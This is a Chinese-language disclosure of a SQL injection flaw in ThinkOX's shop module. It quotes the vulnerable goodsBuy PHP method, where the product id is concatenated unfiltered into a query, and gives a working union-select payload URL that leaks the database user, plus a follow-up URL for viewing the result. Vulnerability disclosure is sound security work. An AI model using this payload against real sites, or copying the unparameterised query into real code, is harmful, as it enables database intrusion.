ThinkOX 最新版 SQL 注入漏洞 #4

/Application/Shop/Controller/IndexController.class.php

    public function goodsBuy($id = 0, $name = '', $address = '', $zipcode = '', $phone = '', $address_id = '')
    {
        $address = op_t($address);
        $address_id = intval($address_id);
        $num = 1;
        if (!is_login()) {
            $this->error('请先登录!');
        }
        $goods = D('shop')->where('id=' . $id)->find();
        if ($goods) {
            if($num<=0){
                $this->error('商品购买数量不能为负数。');
            }
            //验证开始

            //判断商品余量
            if ($num > $goods['goods_num']) {
                $this->error('商品余量不足');

            }

           //扣tox_money
            $tox_money_need = $num * $goods['tox_money_need'];
            $my_tox_money = getMyToxMoney();

商品的id未经过过滤,并且用拼接的方式带入where查询,导致注入。
_(:з」∠)_为什么address和address_id过滤了id却不过滤呢。。

用户登录后访问地址:

http://10.211.55.3/thinkox/index.php?s=/shop/index/goodsBuy/name/%E5%95%8A/address/a/zipcode/123456/phone/13322222222/id/1)union%20select%201,user(),3,4,5,-9999,7,8,9,10,11,12,13%23.html

然后再访问:

http://10.211.55.3/thinkox/index.php?s=/usercenter/public/getinformation.html

sql

发表评论